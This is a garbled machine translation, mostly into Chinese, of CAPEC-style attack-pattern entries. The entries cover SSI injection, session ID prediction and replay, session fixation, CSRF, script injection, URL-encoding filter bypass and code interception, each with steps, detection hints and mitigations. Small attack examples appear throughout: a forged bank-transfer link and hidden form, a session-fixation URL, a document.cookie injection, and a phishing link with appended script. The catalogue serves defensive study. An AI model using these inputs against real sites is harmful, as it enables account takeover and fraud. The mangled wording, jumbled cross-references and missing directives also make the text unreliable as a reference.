必须启用服务器端包括只有一个强大的商业原因。每个额外的组件上启用web服务器增加了攻击表面以及管理开销 信息泄漏 运行任意代码 服务器端包括是一种技术,允许在服务器解析一些代码之前呈现一个HTML页面,而不必在一个成熟的追索权的服务器端语言。这项技术通常是用来显示项目,如“最后修改日期”或在服务器上当前的日期和时间,并包括其他的代码片断,如一个shell命令的输出或另一个html文件。后者是用来显示诸如共同对HTML页面页脚。一个特殊的文件扩展名,通常.shtml,用于server-parsed文档。然后日期显示为< !- - -#echo var="DATE_LOCAL" --> and a footer file, footer.html is included as However, for web sites that allow user-submitted content to be displayed on its pages, this is a potential minefield, since the user can easily insert the statement to insert, and subsequently, view the password file on the machine. The problems that cause SSI Injection are the same as those that cause Cross Site Scripting - lack of input validation and sanitization of the output. If content is appropriately encoded before being rendered, the server would not interpret it as SSI tags and would, therefore, not execute it. 用户可控的输入 SSI指示,可能会导致信息披露文件的内容或执行的命令 web服务器解析并执行SSI指令之前呈现的HTML页面 SSI指令引起的某些文件的内容或shell命令的执行,由攻击者 97年 有针对性的 74年 二次 20. 二次 713年 二次 不愿相信 完整的中介 从不使用用户输入的指令任何内部组件 渗透 剥削 客户机-服务器 SOA 所有 所有 所有 PHP Chiradeep b Chhaya 2007-04-20 初稿 肖恩·巴纳姆 Cigital公司 2007-04-20 审查和修订的内容 这种攻击目标预测的会话ID,以获得特权。攻击者可以预测一个事务执行期间使用的会话ID欺骗和会话劫持。 找到会话id 攻击者与目标主机,发现会话id用于对用户进行身份验证。 攻击者使许多匿名连接和会话id分配记录。 env-Web env-Peer2Peer env-CommProtocol env-ClientServer 攻击者使授权连接和会话令牌记录或凭证。 env-Web env-Peer2Peer env-CommProtocol env-ClientServer Web应用程序使用会话id env-Web 网络系统问题会话id或连接id env-CommProtocol env-ClientServer env-Peer2Peer 监控日志不寻常的大量无效的会议。 监控日志不寻常的大量无效的连接从未经授权的主机或无效的请求。 描述id 攻击者研究会话ID的特点(大小、格式等)。作为一个结果,攻击者发现,合法的会话id是可预测的。 密码分析。攻击者使用密码分析来确定如果会话id包含任何密码保护。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 模式测试。攻击者寻找模式(奇/偶、重复、倍数或其他算术关系)之间的id env-Web env-ClientServer env-Peer2Peer env-CommProtocol 与时间相比。攻击者情节或比较了IDs的时间他们发布了相关检查。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 模式是可检测在会话id 会话id通过NIST FIPS 140为密码随机性统计测试。 会话id是重复的。 发布id匹配 攻击者蛮力不同的会话ID值预测和管理一个有效的会话ID。 攻击者模型的会话ID算法足以产生一系列兼容操作系统ID,或者仅仅是一场比赛。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 会话标识符成功地欺骗 没有可以找到会话id或利用 使用会话ID匹配 攻击者使用伪造的会话ID访问目标系统。 攻击者将会话ID加载到web浏览器和浏览限制数据或功能。 env-Web 攻击者将会话ID加载到他的网络通信和模仿合法用户访问数据或功能。 env-CommProtocol env-Peer2Peer env-ClientServer 监控会话id和其他站名称之间的关系(MAC地址,IP地址、VLAN,等等)。警报在会话ID来自多个源的重用。 终止两个会话如果使用ID从多个来源。 目标主机使用会话id来跟踪用户。 会话id用于控制对资源的访问。 目标主机使用的会话id是可预测的。例如,会话id生成使用可预测的信息(例如,时间)。 欺骗 蛮力 分析 Jetty 4.2.27之前,5.1.12之前5.1,6.0之前6.0.2和6.1之前使用java.util 6.1.0pre3产生可预测的会话标识符。随机的,这使得它更容易为远程攻击者猜测一个会话标识符通过蛮力攻击,绕过身份验证需求,并可能进行跨站点请求伪造攻击。 cve - 2006 - 6969 mod_usertrack在Apache 1.3.11 1.3.20生成会话ID的使用可预测的信息,包括主机的IP地址,系统时间和服务器进程ID,它允许本地用户获取会话ID和绕过身份验证当这些会话ID用于身份验证。 cve - 2001 - 1534 低:有强力对话ID的工具。这些工具需要一个低水平的知识。中/高:预测会话ID可能需要更多的计算工作,使用先进的统计分析等分析。 攻击者可以执行的随机性分析会话代algortihm。 攻击者可能需要偷几个有效的会话id使用不同类型的攻击。然后使用这些会话ID来预测以下的。 攻击者可以使用蛮力的工具来找到一个有效的会话ID。 使用一种强大的随机性来生成一个会话ID。 使用适当的长度会话id 不要使用用户信息以生成会话ID(例如,时间)。 东湖牌提供的思想创建随机数(RFC1750) 加密会话ID如果你暴露给用户。例如会话ID在加密的格式可以存储在一个cookie。 特权升级 290年 有针对性的 330年 有针对性的 331年 有针对性的 346年 有针对性的 488年 二次 539年 二次 200年 二次 6 有针对性的 285年 二次 384年 二次 693年 有针对性的 719年 二次 保护最薄弱的环节 渗透 客户机-服务器 J2EE net 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Eric Dalci Cigital公司 2007-01-25 肖恩·巴纳姆 Cigital公司 2007-03-07 审查和修改 这种攻击目标有效的会话ID恶搞的重用目标系统为了获得特权。攻击者试图重用之前使用偷来的会话ID事务执行期间欺骗和会话劫持。这种类型的攻击的另一个名字是会话重播。 攻击者与目标主机,发现会话id用于对用户进行身份验证。 攻击者窃取从一个有效的用户会话ID。 攻击者试图利用偷来的会话ID访问系统的特权会话ID的原始所有者。 目标主机使用会话id来跟踪用户。 会话id用于控制对资源的访问。 使用的会话id盗窃目标主机不保护从会话。 欺骗 社会工程 分析 OpenSSL和SSLeay允许远程攻击者的SSL会话重用和绕过访问控制。 cve - 1999 - 0428 天璇邮件IceWarp Web邮件使用一个静态标识符作为一个用户会话ID,并没有改变跨会话,这可能允许远程攻击者访问用户的ID来获得特权,例如通过提取出ID从用户的答案或url。 cve - 2002 - 0258 低:如果攻击者可以偷一个有效的会话ID,然后他可以尽量经过身份验证的会话ID,偷了。中/高:更复杂的攻击可以用来劫持一个有效的会话从用户和恶搞ligitimate用户通过重用他有效的会话ID。 攻击者可以倾听客户端和服务器之间的对话,偷一个有效的会话ID。 攻击者可以尝试窃取用户的coookies的会话信息。 攻击者可以尝试有效的会话从完成事务和发现与会话ID相关联的事务不超时。 用户注销后总是一个会话ID无效。 会话id设置会话超时。 保护客户端和服务器之间的通信。例如最佳实践是使用SSL来减轻中间人攻击。 不与GET方法发送会话ID代码,否则会话ID将被复制到URL。一般避免编写会话id的url。url可以登录日志文件,容易受到攻击。 加密的会话ID相关联的会话数据。 使用多因素身份验证。 特权升级 294年 有针对性的 290年 有针对性的 346年 有针对性的 384年 有针对性的 488年 二次 539年 二次 200年 二次 285年 二次 664年 有针对性的 732年 有针对性的 21 更详细的 保护最薄弱的环节 渗透 客户机-服务器 J2EE net 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Eric Dalci Cigital公司 2007-01-25 肖恩·巴纳姆 Cigital公司 2007-03-07 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致的名字和相关的攻击模式的变化 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 攻击者产生与目标软件客户端建立一个会话使用攻击者提供的会话标识符。一旦用户成功验证目标软件,袭击者使用了(现在的特权)会话标识符在他们自己的事务。这种攻击利用了目标软件依赖于客户端生成的会话标识符或特权高程后保持相同的会话标识符。 设置的攻击 设置一个会话:攻击者必须设置一个陷阱会话,它提供了一个有效的会话标识符,或选择一个任意的标识符,根据应用程序使用的机制。陷阱会话是一个虚拟会话建立与应用程序的攻击者的目的,仅用于获取有效的会话标识符。攻击者也可能需要定期刷新陷阱会话为了获得有效的会话标识符。 他知道攻击者选择一个预定义的标识符。 env-Web env-Peer2Peer env-CommProtocol env-ClientServer 攻击者创建一个会话的陷阱的受害者。 env-Web env-Peer2Peer env-CommProtocol env-ClientServer 应用程序接受预定,或用户提供的会话id env-Web env-Peer2Peer env-CommProtocol env-ClientServer 应用程序忽略了预定义的或用户提供的会话id,并提供新的会话id。 env-Web env-Peer2Peer env-CommProtocol env-ClientServer 一个陷阱会话或一个预定义的会话ID。 检测和警告用户提供未知的连接建立的会话id。因为这也符合场景:一个用户的会话已经过期,启发式必须聪明一点,也许寻找一个异常高的数量这样的事件在短时间内。 检测和预警在多个起源与预定义的会话ID相同。 吸引一个受害者 注视会话:攻击者现在需要的会话标识符陷阱会话转移到受害者通过引入会话标识符在受害者的浏览器。这就是所谓的游乐场。会话标识符可以引入受害者的浏览器利用跨站脚本漏洞,使用元标记或设置HTTP响应头以多种方式。 攻击者可以把链接放在网站(如论坛、博客、评论形式)。 env-Web 攻击者可以建立网络协议给流氓代理服务器的会话ID,然后重定向到合法的连接服务。 env-Peer2Peer env-ClientServer env-CommProtocol 攻击者可以电子邮件攻击url通过垃圾邮件和网络钓鱼技术潜在的受害者。 env-Web 受害者连接根据攻击者的设计。 记录从web客户端反向链接,与预定义的会话id。警报当反向链接不匹配,可接受的网站。 虐待受害者的会话 收购固定会话:一旦受害者取得更高层次的特权,可能通过登录到应用程序中,攻击者可以接管会话使用固定会话标识符。 攻击者将预定义的会话ID加载到浏览器和浏览受保护的数据或功能。 env-Web 攻击者将预定义的会话ID加载到他的软件和使用功能与受害者的权利。 env-CommProtocol env-ClientServer env-Peer2Peer 攻击者可以访问数据或功能与受害者的权利。 检测和预警在多个同时使用相同的会话ID从不同的起源。 断开所有并发用户的会话ID到达时从不同的起源。 会话标识符,特权级别变化时保持不变。 宽容的会话管理机制,接受随机的用户生成的会话标识符 Predicatable会话标识符 媒介 时间和状态 注射 考虑一个银行应用程序,问题一个会话标识符在URL前一个用户登录,并使用相同的标识符识别客户身份验证成功之后。攻击者可以很容易地利用会话固定访问受害者的账户通过受害者点击一个伪造的链接,其中包含一个有效的会话标识符从攻击者捕获会话设置的。受害者身份验证后,攻击者可以接管会话并继续同一级别的特权的受害者。 攻击者可以劫持用户会话,绕过身份验证控件,并可能获得行政特权,关注用户的会话管理控制台在某些版本的验证Macromedia JRun 4.0。这可以通过在用户的浏览器设置会话标识符,管理控制台的用户进行身份验证。会话固定可能是由于应用程序服务器不再生会话标识符当有特权级别的变化。 cve - 2004 - 2182 低:只需要基本技能来确定和注视在浏览器用户的会话标识符。后续的攻击可能需要更高的技能水平根据攻击者的动机。 没有一个 确定目标应用服务器接受预设会话标识符是相对容易的。攻击者可能会在URL中设置会话标识符或隐藏表单字段或饼干,这取决于应用程序设计。获得一个帐户或使用一个虚拟账户,攻击者可以确定预设会话标识符是否接受与否。 代码或设计,攻击者可以很容易地验证预设会话标识符是否接受并标识符是否再生,和可能的破坏,当特权级别的改变。 没有指标一直以来为服务器会话标识符类似于通常生成的。然而,太多的无效的会议由于无效的会话标识符是一个潜在的警告。 客户端可以怀疑如果收到链接包含预设会话标识符。然而,这取决于客户的知识这样的一个问题。同时,固定通过跨站脚本或隐藏表单字段通常是很难发现的。 使用严格的会话管理机制,只接受本地生成的会话标识符:这可以防止攻击者,关注自己的选择的会话标识符。 再生和销毁会话标识符当有特权的水平的变化:这可以确保即使一个潜在的受害者可能与固定标识符之后,一个新的时发出的特权级别的变化。 使用会话标识符,很难猜测或强力:攻击者获得有效的会话标识符的方法之一是通过蛮力或猜测。通过选择足够随机会话标识符,蛮力或猜测变得非常困难。 特权升级 会话固定发生主要是由于应用程序信任用户提供的会话标识符和使用相同的标识符在多个级别的特权。有两种类型的会话管理机制:1。宽容:应用程序接受用户提供的会话标识符。这使攻击者可以轻松地注视一个标识符自信托所有标识符提供给应用程序。2。严格的:应用程序只信任那些在本地生成的会话标识符。尽管这是一个更强大的机制,它不会使应用程序会话固定免疫。有严格的机制,攻击者需要设置一个陷阱会话获得一个有效的标识符,诱骗受害人使用标识符和利用会话固定。同时,攻击者现在可能需要定期刷新陷阱会话为了维持一个有效的会话标识符。会话标识符可以固定:1。 In the URL: The attacker needs to have the victim click on a hyperlink such as http://targetserver.com/login.jsp?jsessionid=176k36kk92adnn0lajeq91 2. In hidden form fields: The attacker needs to trick the victim into clicking on a look-alike form that contains the fixated session identifier. 3. In the cookie: This is relatively the most difficult location to fixate an identifier. The attacker has to resort to another mechanism such as Cross-Site Scripting to introduce a cookie with a fixated session identifier. This can be achieved by either using a client-side script to introduce the cookie (document.cookie="sessionid=abc1234") or injecting cookies using the META tag (). GET或POST数据,隐藏表单字段和会话cookie 预设会话标识符 目标应用程序的会话管理机制 会话标识符的载荷激活影响攻击者选择的应用程序被认为是有效的和信任决策的将基于这样一个固定标识符。 384年 有针对性的 361年 二次 664年 有针对性的 732年 有针对性的 21 更详细的 再生会话标识符在每一个新的请求。这确保固定会话标识符变得过时了。 再生一个会话标识符每次用户输入一个经过身份验证的会话标识符当用户日志和摧毁的经过身份验证的会话。 设置合适的到期时间在cookie包含会话标识符。这有助于限制的机会攻击者使用的标识符。 不要使用会话标识符作为url的一部分或隐藏表单字段。攻击者就容易哄骗用户固定会话当会话标识符也触手可及。 每笔交易的请求凭据进行身份验证。这可以确保只有合法用户的应用程序可以继续交易。如果攻击者试图执行任何这样的经过身份验证的事务,需要有效身份证件即使会话固定可能是成功的。 完整的中介 不愿相信 深度防御 从不使用用户输入的指令任何内部组件 渗透 客户机-服务器 J2EE net 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 CWE——会话固定 CWE——时间和状态 Chiradeep B Chhaya 2007-01-29 第二稿 马利克Hamro Cigital公司 2007-02-27 重新格式化新模式和审查 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的描述和相关的攻击模式 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 攻击者工艺品恶意网页链接和分发它们(通过网页,电子邮件,等等),通常有针对性的方式,希望能诱导用户点击链接对一些第三方应用程序并执行恶意的行动。如果成功,行动中嵌入恶意链接将被处理和接受的目标应用程序与用户的权限级别。这种类型的攻击利用了持久性和隐式信任放在今天,许多web应用程序用户会话cookie。在这种体系结构中,一旦用户创建会话cookie验证应用程序和用户的系统上,所有以下事务的会话cookie验证使用,包括潜在的行动由攻击者和简单的“骑”现有的会话cookie。 探索目标网站 攻击者首先探讨了目标网站确定的功能,他感兴趣的(比如转账)。攻击者需要一个合法的用户帐户在目标网站。它将有助于有两个账户。 使用web应用程序的调试工具,如WebScarab,篡改数据或TamperIE分析客户机和服务器之间交换的信息 env-Web 使用网络嗅探工具如Wireshark分析客户机和服务器之间交换的信息 env-Web 查看web页面的HTML源代码包含链接或按钮,执行操作的兴趣。 env-Web 攻击者识别至少一块有趣的功能,可以通过执行一个HTTP GET或POST请求不含那些参数。 攻击者不能识别任何功能,可以不执行发送那些参数除了HTTP请求的饼干。 创建一个链接,当点击时,将执行有趣的功能。 攻击者需要创建一个链接,将执行一些有趣的功能,如转账、修改密码等。 创建一个GET请求包含所有必需的参数(例如,https://www.somebank.com/members/transfer.asp?to=012345678901&amt=10000) env-Web 创建一个表单,提交一个POST请求(例如<形式方法= " POST " action = " https://www.somebank.com/members/transfer.asp " > < input type = "隐藏" Name = "到" value = " 012345678901 " / > < input type = "隐藏" Name =“amt”价值= " 10000 " / > < input type = "提交" src = " clickhere.jpg " / > < /形式> env-Web 在前一步成功的结果。 env-Web 上一步的结果失败。 env-Web 执行一个操作的链接,点击时攻击者的欲望。 创建一个链接,它执行一个操作,单击攻击者欲望的时候,是不可能的,因为该网站实现对CSRF保护。 包括一个独特的HTTP参数值形式每次他们被发送到客户端。验证预期的价值在于从客户端收到的响应。在这种情况下,攻击者将无法获得正确的参数值为另一个用户,因此,将无法创建伪造请求。 检查HTTP引用为每个请求,以确保它是预期的网站。注意,如果该网站很容易受到XSS,那么攻击者就可以绕过这个问题。 说服用户点击链接 最后,攻击者需要说服用户登录到目标网站点击链接执行CSRF攻击。 执行一个钓鱼攻击和发送电子邮件用户信服他点击一个链接。 env-Web 执行一个存储XSS攻击的网站永久嵌入恶意链接进入网站。 env-Web 执行一个存储XSS攻击网站,一个XMLHTTPRequest对象将自动执行攻击一旦用户访问页面。这消除了一步让用户点击一个链接。 env-Web 包括攻击者恶意链接的网站,用户可以单击链接时,或者在一个XMLHTTPRequest对象可能用户访问网站时自动执行攻击。 env-Web 在前一步成功的结果。 env-Web 上一步的结果失败。 env-Web 一个用户执行攻击者恶意链接精心制作的。 上一步的结果失败。 监控服务器日志的反向链接。如果用户被骗点击CSRF通过论坛或其他web帖子的链接,他们的web浏览器将提供推荐人头大部分时间。这些可以帮助表明实际的请求是不合理的。 拒绝请求和会话id无效请求包含意想不到的反向链接。注意,这不会防止目标网站的情况也容易跨站脚本。 非常高的 欺骗 分析 当用户登录到他的银行账户时,攻击者可以发送一个电子邮件与一些潜在的有趣的内容和要求用户点击一个链接的电子邮件。链接指向或包含攻击者设置脚本,可能即使在iFrame,模仿实际的用户表单提交执行恶意行为,如从受害者的账户转移资金。攻击者可以嵌入的脚本,或目标,执行任意操作的链接作为身份验证的用户。执行这个脚本时,目标应用程序验证和接受的行动基于受害者现有会话cookie。 跨站请求伪造(CSRF)脆弱性跑龙套。pl @Mail邮箱4.51允许远程攻击者修改任意设置和执行未经授权的操作作为一个任意的用户,演示了使用设置操作在一个IMG元素的SRC属性在HTML电子邮件。 介质:攻击者需要找出确切的调用有针对性的恶意行动然后工艺执行的链接说行动。让用户点击这些链接通常是通过发送电子邮件或发布这样一个链接到一个公告板或喜欢。 所有的攻击者需要的是准确的表示请求的应用程序,能够让恶意链接在一个受害者。 攻击者可以观察应用程序接受请求的方式行动。如果应用程序使用一个持久化cookie,随机标识符或任何这样的静态识别标记,不会改变对每个请求完成的攻击是相当简单的 为了使实际的URL和它的内容传递给受害者,攻击者可以使用一个服务如TinyURL和选择性地将请求重定向到真实的恶意脚本 使用加密令牌关联请求与一个特定的行动。令牌可以在每个请求重新生成,如果遇到一个无效的令牌的请求时,它可以可靠地丢弃。令牌被认为是无效的,如果它到达请求以外的行动应该是相关的。 虽然不太可靠,使用可选的HTTP引用页头也可以用来确定传入请求实际上是一个用户授权,在当前上下文。 此外,用户还可以提示确认一个动作一个动作每次调用有关潜在的敏感数据。这样,即使攻击者能够让用户点击恶意链接,请求所需的操作,用户有机会恢复否认确认。这个解决方案也含蓄地绑定到使用第二因素身份验证之前执行这样的操作。 一般来说,每个请求必须检查适当的身份验证令牌以及授权的当前会话上下文。 特权升级 信息泄漏 数据修改 跨站请求伪造是可能的在一个脆弱的应用程序的上下文并不对每个请求进行身份验证。这样的应用程序依赖于持续的饼干或一些这样的静态标识符识别和验证用户。此外,没有授权检查要求的动作。这使得攻击者可以执行操作在一个经过验证的情况下自相关饼干或标识符是由浏览器自动附加在请求。 352年 有针对性的 306年 二次 664年 有针对性的 732年 有针对性的 716年 有针对性的 完整的中介 深度防御 正确使用授权机制 使用的身份验证机制,在适当情况下,正确 剥削 客户机-服务器 J2EE net 所有 所有 “会话骑:广泛的脆弱性在当今的Web应用程序”,托马斯·施赖伯SecureNet GmbH, 2004年12月。http://www.securenet.de/papers/Session_Riding.pdf Chiradeep B.Chhaya Cigital公司 2007-02-27 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的描述和相关的攻击模式 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 阿米特·塞提 Cigital公司。 2007-10-29 添加扩展攻击执行流 攻击者恶意脚本嵌入web浏览器将服务的内容。这次袭击的目标是为目标的软件,客户端浏览器,执行脚本的用户的特权级别。这种类型的攻击利用程序的漏洞,通过允许远程主机执行代码和脚本。Web浏览器,例如,有一些简单的安全控制,但如果允许远程攻击者执行脚本(通过注射到用户生成内容如公告板)那么这些控件可能被忽略。此外,这些攻击是一个最终用户很难检测到。与所有XSS攻击一样,有很多可能的目标:1。发射攻击web浏览器客户端和客户端机器2。在客户机上发动攻击的环境,如局域网或内部网3。发射攻击web服务器,包括远程web服务器web 2.0技术严重依赖脚本、混搭各种远程内容源和其他插入技术像多媒体播放器由其他系统有效地生成的内容组成的脆弱是由于这一事实,攻击者可能会利用这些技术使用的HTTP头信息和显示作为一个攻击发射台。虽然Ajax和Web 2.0技术相关的富客户端具有珍贵的经验在Web应用程序中,他们缺乏在客户端执行安全政策的能力。 The standard call for an Ajax application is XML HTTP Request (XHR), which by design limits its communication back to its URL host, however it is commonplace for developers to proxy communication from the host to other sites. In this case the client has no ability to 1) know that the communication is proxied in the first place and 2) know where the content is served from and 3) what intermediaries are involved who can sniff and tamper with data in transit. Ajax does not necessarily introduce additional attack targets, but it does enhance the attacker's ability to execute attacks, probes, and enumerations, because Ajax client-server communications consist of numerous round trips. In classic XSS, the remote attacker may get only one chance to attempt an attack, and if she guesses wrong then needs to move on. In an Ajax scenario, it is likely the attacker can probe for multiple weaknesses, subnets, password combinations, and so on. The "lock" on the safe remains the same, but the attacker can try many combinations. This lack of assurance on the client side opens up two main vectors for attackers, 1) the attacker can push code to launch attacks on the client system or network, and 2) the attacker can lure the client to malicious sites and to asserting information such as authentication or personal data to the malicious site. 目标客户端软件必须是一个客户机允许脚本从远程主机通信,比如支持javascript的浏览器 非常高的 注射 修改的资源 协议处理 经典的网络钓鱼攻击吸引用户点击内容值得信赖,如商标、链接似乎去他们值得信赖的金融机构和在线拍卖网站。而是攻击者恶意脚本附加到其他无辜的出现资源。标准的HTML源代码钓鱼攻击是这样< a href = " www.exampletrustedsite.com ?Name = <脚本> maliciousscript < /脚本> " >可信网站< / >当用户单击链接时,附加脚本也本地用户的机器上执行。 低→实现重定向和使用更少的可靠来源,攻击者可以将脚本放在公告栏、博客、wiki、或其他用户生成内容的网站,其他客户机上回响。高→利用客户端漏洞将恶意脚本注入浏览器的执行过程。 部署自定义敌对目标客户服务的访问。沟通能力与客户端机器同步或异步 设计:使用浏览器技术,不允许客户端脚本。 设计:利用严格的类型、字符和编码执行 设计:服务器端开发人员不应该通过XHR代理内容或其他方式,如果一个http代理远程内容设置在服务器端,客户端浏览器无法识别数据来自的地方。 实现:确保所有内容交付给客户是消毒与一个可接受的内容规范。 实现:对所有远程执行输入验证的内容。 实现:对所有远程执行输出验证的内容。 实现:会话令牌为特定的主机 实现:修补软件。有很多对XSS攻击向量在客户端和服务器端。许多浏览器漏洞被固定在服务包,web服务器、和插入技术,保持当前处理XSS对策,缓解了这一补丁发布。 运行任意代码 数据修改 信息泄漏 “攻击模式:简单的脚本注入”作为系统的一个普通用户有机会供应系统的输入。这个输入可能包括文本、数字、饼干,参数,等等。一旦被系统接受这些值,他们可能会被存储,使用后。如果服务器响应中使用的数据(如一个留言板,存储的数据,然后显示给用户),攻击者可以“污染”这些数据与代码将被不知情的客户终端。”(霍格伦德和McGraw 04) 恶意输入通过标准内容(包含脚本),发送到用户的机器,例如HTML页面包含Javascript。 随攻击模式的实例化。恶意脚本有效载荷可能会附加到年底,合法的链接 客户机浏览器、组件库和客户端网络(e . .g内部网) 使攻击者远程客户端机器上执行脚本启动攻击和环境。内部网和本地系统可能不是修补与“外部”面临系统相同的程度,所以简单的攻击可能识别更多的受害者在一个“内部”系统,比如公司内部网 20. 有针对性的 184年 二次 96年 有针对性的 113年 有针对性的 348年 有针对性的 116年 有针对性的 350年 有针对性的 86年 二次 692年 有针对性的 697年 有针对性的 713年 有针对性的 71年 有针对性的 18 更抽象 渗透 剥削 客户机-服务器 J2EE net 所有 JSP Java ASP.NET ASP PHP AJAX g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-01-01 贡纳·彼得森 Cigital公司 2007-02-28 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-09 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的描述 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 这种攻击目标的编码URL加上斜杠字符的编码。攻击者可以利用多种方式编码的URL和滥用的解释URL。一个URL可能包含特殊字符处理需要特殊的语法来解释。特殊字符表示使用百分比字符后跟两位数字代表八隅体代码的原始字符(% HEX-CODE)。例如us - ascii空格字符将用% 20表示。这通常称为转义结束或百分比编码。由于服务器解码从请求URL,它可能会限制访问一些URL路径通过验证和过滤URL请求。攻击者会试图工艺具有一系列特殊字符的URL曾经由服务器解释将相当于一个禁止的URL。很难抵御这种攻击自编码的URL可以包含其他格式如utf - 8编码,unicode编码等。 1 -攻击者访问服务器使用一个特定的URL。 2 -攻击者试图将一些特殊字符编码的URL。攻击者发现一些字符不正确过滤。 3 -攻击者工艺品恶意URL字符串请求并将其发送到服务器。 4 -服务器URL字符串解码和解释。不幸的是由于输入过滤做得不恰当,特殊字符产生有害的后果。 应用程序接收和解码请求URL字符串。 在应用程序执行url过滤/规范化不足。 注射 协议处理 API滥用 攻击的例子:结合编码CesarFTP亚历山大·塞萨里发布了一个免费的FTP服务器在Windows无法提供适当的过滤与多个编码。CesarFTP FTP服务器,包括一个Web服务器组件,可以攻击triple-dot和URL编码的组合攻击。攻击者可以提供一个URL,包括字符串,比如/……% 5 c /这是一个有趣的开发,因为它涉及到一个聚合的几个魔术表演转义字符,URL编码和三相点。 cve - 2001 - 1335 低,攻击者可以尝试特殊字符的URL和URL绕过验证。中期攻击者可能编写一个脚本失败输入过滤机制。 攻击者可以手动注入特殊字符的URL字符串请求的请求,并观察结果。 还可以使用自定义脚本。例如,一个好的脚本验证的正确解释utf - 8编码的字符可以在http://www.cl.cam.ac.uk/找到~ mgk25 ucs / / UTF-8-test.txt例子 fuzzer等自动化工具可用于测试URL解码和过滤。 如果第一个解码过程留下了一些无效或列入黑名单字符,这可能是一个信号,表明该请求是恶意的。 流量过滤与id(或代理)可以检测请求可疑的url。id可能使用基于签名的识别揭示这种基于URL的攻击。 有时逃避百分比可以用来混淆攻击本身。 可以使用替代方法的数据编码。 模糊技术,如IP地址编码也可以使用(见参考部分:“URL编码的攻击”,冈特•奥尔)。 假设所有的输入是恶意的。创建一个白名单,它定义了所有有效的输入软件系统根据需求规格说明书。输入不匹配白名单不应被允许进入系统。测试你对恶意输入解码过程。 意识到威胁的替代方法的数据编码和模糊技术,如IP地址编码。 当客户端输入需要从网络形式,避免使用“GET”方法来提交数据,方法使表单数据附加到URL和很容易操纵。相反,尽量使用“POST方法。 任何应该进行安全检查后,数据被解码和验证为正确的数据格式。不重复解码过程,如果坏字符解码过程后,把数据当作可疑,验证过程失败。 参考rfc safelly解码URL。 可以使用正则表达式来匹配安全URL模式。然而,这可能丢弃有效的URL请求如果正则表达式限制太多。 有工具扫描等有效的URL的HTTP请求到服务器URLScan禁止从微软(http://www.microsoft.com/technet/security/tools/urlscan.mspx)。 信息泄漏 拒绝服务 运行任意代码 信息泄漏 特权升级 大多数web编程语言建立在URL API来执行URL编码和解码。例如PHP使用“urlencode(字符串)”和“urldecode(字符串)”。Java使用“java.net.URLEncode.encode(字符串)”。 177年 有针对性的 171年 有针对性的 173年 有针对性的 172年 有针对性的 73年 有针对性的 21 有针对性的 74年 有针对性的 20. 有针对性的 697年 有针对性的 707年 有针对性的 使用替代编码绕过验证逻辑 更详细的 71年 类似的 79年 类似的 72年 类似的 43 类似的 不愿相信 渗透 媒介 媒介 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 CWE——输入验证 URL编码的攻击,冈特•——http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html 统一资源标识符(URI):通用的语法,RFC 3886, http://www.ietf.org/rfc/rfc3986.txt URL(统一资源定位器(URL) RFC - http://rfc.net/rfc1738.html ——http://www.w3schools.com/tags/ref_urlencode.asp URL编码参考 URLEncode和URLDecode页面——http://www.albionresearch.com/misc/urlencode.php 大卫·惠勒-验证uri http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/filter-html.html VALIDATING-URIS g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 Eric Dalci Cigital公司 2007-02-13 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致名称的变化 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 攻击者可以捕获appplication代码绑定客户端,可以使用它,按原样或通过逆向工程,收集敏感信息或利用客户端和服务器之间的信任关系。这样的代码可能属于一个动态更新的客户端,一个补丁被应用到一个客户端组件或授权任何这样的交互,客户端与服务器通信。 攻击者设置了一个嗅探器(和一个拦截器,攻击的动机可能是)在服务器和客户端之间的路径 捕获的代码然后用作攻击的一部分,如逆向工程代码或否认其交付到客户端或改变其内容到客户机上 攻击者必须有能力把自己的客户端和服务器之间的通信路径。 目标应用程序必须接受一些应用程序代码从服务器;例如,动态更新、补丁程序或脚本。 攻击者必须能够雇佣一个没有被检测到的网络嗅探器。 攻击者将收到通知,告知电脑/操作系统/应用程序有一个可用的更新、加载网络嗅探工具,从后续提取更新数据通信。攻击者然后进行反向工程流捕获。 普通的代码,例如applet或Javascript,也是执行应用程序的一部分。如果这样的代码是传播不受保护的,攻击者可以捕获代码和可能逆向工程获得敏感信息,比如加密密钥,验证算法等。 介质:攻击者需要设置一个嗅探器足够时间以获取有意义的大量代码。嗅探器的存在不应检测到网络。如果攻击者计划雇用一个中间人攻击,客户机或服务器不能意识到这一点。最后,攻击者需要重新生成源代码与二进制代码,如果需要的话。 攻击者需要捕捉的能力正在更新客户端和服务器之间的通信提供了更新。如果加密掩盖了客户机/服务器通信攻击者要么需要提升关键材料从客户机。 信息泄漏 特权升级 